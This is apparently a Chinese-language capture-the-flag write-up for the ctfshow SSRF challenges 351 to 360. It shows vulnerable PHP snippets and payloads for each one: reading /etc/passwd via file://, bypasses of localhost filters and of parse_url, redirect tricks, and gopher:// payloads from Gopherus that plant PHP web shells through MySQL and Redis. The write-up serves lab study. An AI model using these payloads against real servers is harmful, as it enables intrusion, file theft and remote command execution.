ctfshow_SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

web 351

1
2
3
4
5
6
7
8
9
10
11
12
13
14
`<?php

$url=$_POST['url'];

$ch=curl_init($url);//curl_init — 初始化 cURL 会话

curl_setopt($ch, CURLOPT_HEADER, 0);
//CURLOPT_HEADER启用时会将头文件的信息作为数据流输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// URLOPT_RETURNTRANSFER, 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出

$result=curl_exec($ch); //curl_exec — 执行 cURL 会话
curl_close($ch); //curl_close — 关闭 cURL 会话
echo ($result); ?>`
1
2
3
4
5
6
7
8
url=file:///etc/passwd
# 可以拿到回显

url=file:///flag.php
# 无回显, 非本地用户禁止访问

url=http://127.0.0.1/flag.php
# get_it

web 352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

$url = isset($_POST['url']) ? $_POST['url'] : '';

// 解析URL,获取其组成部分
$x = parse_url($url);

// 检查URL的scheme是否为http或https
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
// 检查URL的host部分是否不包含'localhost'或'127.0.0'
if (!preg_match('/localhost|127\.0\.0\.1/', $x['host'])) {
// 初始化cURL会话
$ch = curl_init($url);
// 设置cURL选项
curl_setopt($ch, CURLOPT_HEADER, 0); // 不返回HTTP头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 返回内容而不是直接输出
// 执行cURL请求并获取结果
$result = curl_exec($ch);
// 关闭cURL会话
curl_close($ch);
// 输出请求结果
echo $result;
} else {
// 如果URL是指向本地服务器的,终止执行并输出错误信息
die('hacker');
}
} else {
// 如果URL的scheme不是http或https,终止执行并输出错误信息
die('hacker');
}
?>

parse_url
核心: preg_match('/localhost|127\.0\.0\.1/', $x['host'])
也就是让我们绕过 127.0.0.1 的检测即可

1
2
3
4
url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php

web 353

1
2
3
4
url=http://0/flag.php 
url=http://127.1/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php

web 354

0 1 过滤

1
2
3
4
5
6
7
# 奇淫巧技:将域名A类指向127.0.0.1
http(s)://sudo.cc/ 指向 127.0.0.1
# POST: url=http://sudo.cc/flag.php

# 也可以
<?php header("Location: http://127.0.0.1/flag.php");
# POST: url=http://your-domain/ssrf.php

web 355

长度限制 (5)

1
2
url=http://0/flag.php
url=http://127.1/flag.php

web 356

长度限制 (3)

1
url=http://0/flag.php

web 357

1
2
3
4
5
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}

filter_var
PHP FILTER_VALIDATE_IP 过滤器 | 菜鸟教程 (runoob.com)
使用特定的过滤器过滤一个变量
不允许使用到保留或者私有 IP, 因此在 DKdun 那边放一个跳转的页面(参考 web 354)

1
url=http://156.238.233.102/ch1/ssrf_local.php

web 358 parse_url

parse_url小结 - tr1ple

1
2
3
4
5
6
7
8
9
10
11
<?php  

$url=$_POST['url'];

$x=parse_url($url);

if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

//正则表达式用于匹配特定的URL模式,确保URL以http://ctf.开头并以show结尾

正则表达式要求提交: http://ctf.???.show 的 URL
\

parse_url

解析 URL,返回其组成部分(PHP 4, PHP 5, PHP 7, PHP 8)

1
parse_url([string]$url, [int]$componen] = -1)

如果省略了 component 参数,将返回关联数组 array。至少会有一个元素出现在数组中。数组中可能的键有以下几种:

  • scheme——如 http
  • host
  • port
  • user
  • pass
  • path
  • query——在问号 ? 之后
  • fragment——在注释符号 # 之后
    如果指定 component 参数,parse_url() 返回 string
    或在指定为 [PHP_URL_PORT] 时返回 int 而不是 array。如果 URL 中指定的组成部分不存在,将会返回 [null]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
完整url: 
scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

这里仅讨论url中不含'?'的情况
php parse_url:
host: 匹配最后一个@后面符合格式的host

libcurl:
host:匹配第一个@后面符合格式的host

如: http://u:p@a.com:80@b.com/

php parse_url解析结果:
schema: http
host: b.com
user: u
pass: p@a.com:80

libcurl解析结果:
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉



parse_url()

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
----------------------------------------------------------------------------------------------------
Array
(
[scheme] => http
[host] => hostname //
[user] => username @前
[pass] => password @前
[path] => /path /
[query] => arg=value ?以后的key=value
[fragment] => anchor #以后的部分
)

本题

parse_url:host: 匹配最后一个@后面符合格式的 host

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// http://ctf.@127.0.0.1/flag.php?.show


<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>

//运行结果:
array(5) {
["scheme"]=>string(4) "http"
["host"]=>string(9) "127.0.0.1"
["user"]=>string(4) "ctf."
["path"]=>string(9) "/flag.php"
["query"]=>string(4) "show"
}

web 359 mysql

端口扫描

1
2
3
4
5
6
7
8
9
端口21开放
端口22开放
端口80开放
端口443开放
端口3389开放
端口1433开放
端口3306开放
端口6379开放
端口8084开放

gopherus

1
2
3
4
5
6
7
8
9
## python2 cmd
..\..\python.exe .\gopherus.py --exploit mysql

>> root
>> select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php';

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01

记得urlencode

web 360 Redis

端口扫描

1
2
3
4
5
6
7
8
9
端口21开放
端口22开放
端口80开放
端口443开放
端口3389开放
端口1433开放
端口3306开放
端口6379开放
端口8084开放

gopherus

1
2
3
4
5
6
7
8
9
10
What do you want?? (ReverseShell/PHPShell): phpshell

Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell):

Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

>> ../shell.php?cmd=tac /flag